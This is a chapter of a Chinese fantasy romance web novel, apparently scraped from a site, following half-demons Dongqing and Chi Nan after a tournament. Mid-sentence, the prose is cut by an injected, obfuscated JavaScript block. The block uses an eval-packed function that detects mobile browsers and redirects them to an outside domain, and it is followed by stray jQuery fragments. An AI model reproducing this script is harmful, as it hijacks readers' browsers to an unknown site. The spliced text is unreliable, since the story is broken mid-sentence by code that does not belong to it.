“没想到她还有些本事。”席子昂看着一片漆黑的月牙,低声笑了一下。
崔香雪迟疑片刻,还是决定问出来,“谷主,血镝不是已经到手?您为什么还对冬青……”
话音未落,席子昂忽然转过身来,卸下了他的面具,原本光滑的人皮上瞬间长出白色的毛发,眨眼便从人头变成了雪豹头。
“因为……她跟我是一样。”席子昂笑道,“是个半妖。”
“那您,是要拉拢她?”崔香雪问。
“这个身份是不能见光的,无论在人类还是妖族眼中,我们都代表着背叛与异类。”席子昂近乎透明的蓝色竖瞳冰冷至极,“再观察一段时间,至于是收拢她,还是毁掉她,全看她自己。”
日暮西山,倦鸟归林。
榻上,冬青缓缓睁开眼睛。
幻境中她恍若重活一世,醒来格外疲惫。
她下意识伸手探向衣襟,原本挂着血镝的地方空空如也,“果然,是冲着血镝来的。”
池南点头,从乾坤币里勾出一条血红的坠子——与冬青之前挂在脖子上的如出一辙。
“物归原主。”
原来早在两人意识到望月谷有猫腻的那个晚上,冬青便决定暂时让池南保管血镝,不然她这个活靶子,很容易让血镝流入歹人之手。
本是为了有备无患,却没成想真的一语成谶。
“还是放在你那里。”冬青将血镝推回去,“早晚有一天,那人会发现到手的血镝是假的,届时你在折云宗,山高皇帝远,不会被波及。”
见他不动,冬青补充道,“这可是我娘留给我的,你要替我保管好。”
池南深深看了她一眼,才把血镝小心翼翼的放回乾坤币。
“还有,关至说那晚的黑猫是崔香雪。”冬青坐起身来,“但我感觉布阵之人不是她,她应当布不来这么高级的阵法。”
“你们在说什么?”燕明光一头雾水,“崔香雪是妖?!”
池南把他扒拉到一边,“除了她,布阵之人也只有一个人了。”
冬青抬起眼皮与他对视,两人都在彼此眼中看见了答案。
望月谷谷主,席子昂。
冬青醒来的消息很快传遍都清山,床榻前围满了看望的人。
柳又青抱着冬青嚎啕大哭,梅景听得头疼,上手把她拉开。
他两指夹着她袖子,嫌弃道,“你别嚎了,人都醒了,不知道的以为你哭丧呢。”
“你说什么?!”柳又青一把鼻涕一把泪地回头,恶狠狠的盯着梅景,抬手将不知道是眼泪还是鼻涕的液体抹在他干净整洁的弟子服上。
两个人从东屋打到西屋,最后还是沈秋溪以他们吵到冬青休息为由把两人拎了出去。
他一手拎一个,三人跨出屋门的时候正巧看见云开天师对着新月拜三拜,嘴里念念有词,“仙人顶历代各位宗主保佑,这一棵独苗苗活下来了!”
沈秋溪:“……”
柳又青:“……”
梅景:“……”
“这是你们仙人顶的长老?”梅景忍不住偏头问。
“呃……”沈秋溪眉头跳了跳,“可能是吧。”
“反正今秋内门考核我是肯定不会拜入云开门下。”柳又青抱臂,“神神叨叨的,不知道以为江湖老骗子呢!”
江湖老骗子显然没聋,阴恻恻望过来,三人立刻装作若无其事的样子,飞快溜走了。
翌日,冬青找到关至。
“看见您没事,我这在嗓子眼吊了一天的心也总算是放下了!”关至点头哈腰搓着手,“当时发现您倒在林子里,可把我吓的呦!好在您没事!”
他特意把“发现”两个字咬的特别重,生怕冬青不知道是他去叫人的。
冬青坐在榻边看着他表演,手肘支在膝盖上,手背撑着下巴,“我有件事拜托你,不知你愿意否。”
关至双眼放光,差点扑通一声跪在地上,“您吩咐!上刀山下火海,我关至任凭您差遣!”
“你也知道,我有意入望月谷。”冬青看着他越来越亮的双眼,面不改色道,“但贵宗在南氏,山遥水远,知之甚少,因此我想拜托你帮我多多留意谷主的消息,我好早日拜入贵宗。”
“这个……”关至挠了挠头,“谷主行踪不定,在宗门内我都很难能见他一面。”
“那换个人选,”冬青站起身来,把一张纸轻轻放到他手里,“帮我多留意崔香雪,日后保不齐,她就是你我共同的师姐了。”
关至颤抖着手,小心翼翼的掀开纸张一角,“御物心法”四个字跳入眼帘,他“啪”一声把纸合上,心脏狂跳地点了点头,“您放心,包在我身上!”
冬青轻轻拍了两下他的肩膀,眼睫一垂一抬,意味深长的扫了一眼被关至攥到变形的纸,翩然离开,“那就拜托你了。”
夜深人静之时,关至满怀激动郑重其事地将皱巴巴的纸张铺在桌上,慢慢用手掌碾平,随后像是对待世间至宝一般,慢慢地,小心翼翼地,将对折的纸展开。
上面只有短短两行字。
御物心法第一式:
芥子须弥。
“?”
关至表情空白地翻到背面,只见上面用小字写着“一条消息换一个字,你赚翻了”。
“……???”
关至难以置信地翻来覆去看了好几遍,又对着油灯看了又看,才终于确定纸上确确实实只有短短两行字而已。
他悲怆的望着月亮,颓废片刻后一个鲤鱼打挺猛的坐起。
不就是消息么,他现在就去盯着崔师姐!
于是他欢天喜地地去扒崔香雪窗户,结果就是被啪啪两巴掌扇了出来。
这几日华胥问道可谓鸡飞狗跳,但各宗门也不算收获全无,其中都清山的演武场贡献惨烈,以自身被炸个大坑为代价,让各宗门之间对彼此的实力有了初步了解。
短短几日都清山经历了风雨雷电,再待下去恐怕整座山都要被夷为平地,苍樾泽没有办法,只能在华胥问道结束的时候看似意犹未尽实则欢天喜地地把众人送下山。
远山苍翠朦胧,山脚雾气氤氲,各宗门一个接一个地开传送门离开,不多时,便只剩仙人顶和折云宗还盘桓在山脚。
那边燕明光已经打开了传送门,在这边能听到草木青山的鸟鸣,折云宗弟子们一个接一个地走进门里,池南站在最末,回头望向冬青。
天青色的旧袍在雾气笼罩下颜色发白,瘦削的身影背对着他笔挺地站着,在等云开天师开传送门。
许是察觉到他的目光,那身影垂在身侧的手指蜷了一下,却并未回头。
折云宗的人已经尽数走进,燕明光低头看向频频回望的池南,轻声问,“师兄,再等一会吗?”
池南看了一眼传送门,再次回头望去——云开已经打开了传送门,冬青坠在队伍最后,跟着人群慢慢走着。
“不等了,走吧。”他收回视线,迈进传送门。
身后强光慢慢消失,冬青回头看去,恰好看见折云宗传送门关闭的瞬间。
“冬青,走啦。”柳又青已经一脚跨进传送门,见她没跟上,伸手拽了拽她的衣袖。
“嗯。”冬青收回视线,“走吧。”
折云宗坐落于北诏草木青山之上,享有天下第一宗的美誉,宗门内共有五院,分别是铃台、木槐、沧溟、流霞和孤鸿,对应着剑符器丹阵五道。
池南和燕明光直奔铃台院最深处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362883|183774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的悬崖,云海在崖边翻涌,松涛掩映间,可见一处清雅院落。
这是池南的屋子,因常年松风呼啸不止,他为其取名叫快哉风。
两人推开门,扒开书架上堆积如山的剑谱,按下隐蔽的密室机关。
书架无声滑开,露出一条蜿蜒深黑的密道。
燕明光打开火折子,微弱火光照亮前路。两人一路向里,冷风扑面而来,吹的火苗愈发微弱,看上去随时要熄灭。
直到前方豁然开朗,一间灯火通明的密室出现在眼前。
密室的石壁上挂着一柄银白长剑,在壁龛烛火的照耀下,剑身流淌着着凛冽的寒芒。
软塌上躺着一面容安详,轮廓深刻的少年,若非胸口尚有微弱起伏,任谁看那青白的脸都会以为这是一具没有生息的躯体。
池南往前走了两步,从狐狸变成人形,将近乎透明的手轻轻盖在榻上自己的额头上。
精纯真气顺着经脉涌入体内,他的身影越来越透明。
突然,他动作一顿,方才灌入真身的真气逆涌,铺天盖地钻回幻化出来的体内。
池南身形一晃,偏头吐出一口鲜血。
“师兄!”燕明光急忙上前,“没事吧?”
“没事。”池南抹掉唇边血迹,“看来还不行。”
燕明光皱眉看着他,“方才就差一点,流霞院那里有补元丹,我去要一颗来。”
“先不急。”池南拦住他,“师父呢?”
“回来的时候听人说除妖队又抓了一批妖回来,师父安置好后就去闭关了。”燕明光把他按在椅子上,“师兄,我这就去盯着飞英真君炼一颗上好的补元丹来,你且等着。”
没等池南说话,燕明光便风风火火的走了。
密室空气憋闷,他索性也回到院内,快哉风规模不大,却别具匠心,各处挂着池南游历四海带回来的各式各样的小玩意,种类繁多却也不杂乱,有种独特的美感。
池南走后,快哉风一直是燕明光替他打理,但燕明光是除妖队的大师兄,因此也无法一直停留在宗门里,想必他也有日子没回来了,石桌上已然蒙了一层薄灰。
他将灰擦干净,取出茶具,泡了一壶君山银针。
琉璃盏内,琥珀色的茶汤清亮,倒映出狐狸的金瞳。
他抿了一口茶,感觉怪怪的。
“这茶怎么变味了?”
他给无相斟了一杯,后者品都不品,一饮而尽,咂咂嘴道,“你才变味了呢,放着上好的茶不喝,给我!”
“你不觉得口感有些滞涩吗?”
无相扶额,“大少爷,您之前喝的不一直都是君山银针吗?怎么在外面待久了,元神没养回来,口味倒还养刁了!”
外面?
池南敏锐地捕捉到这两个字眼,忽然像是明白了什么。他随手将那壶价格不菲的君山银针泼到院角的松树下,拉起无相就走:“跟我去趟木槐院!”
两人一路抄近道来到木槐院,越过一片花开正盛的槐花林后,来到一片幽静竹林。
池南真气如刃,三下五除二地切下来好些竹叶,又以最快的速度回到快哉风,将鲜嫩的竹叶泡在尚且滚热的水中。
他又小心翼翼的抿了一口,熟悉的、带着竹叶清香的温润口感在口中荡开,瞬间抚平了那丝莫名的滞涩感。
池南舒服地长吁一口气:“这才对。”
“稀奇。”无相摇着头,“竹叶泡水竟然好过君山银针,你简直暴殄天物!”
池南又加了两片竹叶,“谁说竹叶泡水就不是天物了,在我这它就是好过君山银针。”
无相啧啧两声,捧着一堆竹叶凑近,眯着眼,促狭地问,“我说,你该不会是想小冬青了吧?”